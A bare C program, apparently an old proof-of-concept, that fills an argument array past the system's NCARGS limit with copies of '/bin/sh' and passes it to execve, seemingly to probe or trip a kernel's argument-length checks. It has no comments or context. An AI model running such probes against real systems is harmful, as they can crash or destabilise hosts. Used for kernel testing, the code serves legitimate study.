#include <string.h>
#include <stdlib.h>
#include <sys/param.h>

#define CHECK_LEN       (NCARGS+3)

static  char    **array = NULL;

main(argc, argv, envp)
        int argc;
        char *argv[];
        char *envp[];
{
        int i;

        array = (char **)malloc(CHECK_LEN * sizeof(char *));
        for (i = 0; i < (CHECK_LEN - 1); i++)
                array[i] = "/bin/sh";
        array[CHECK_LEN - 1] = NULL;
        execve("/bin/sh", array, envp);
        exit(0);
}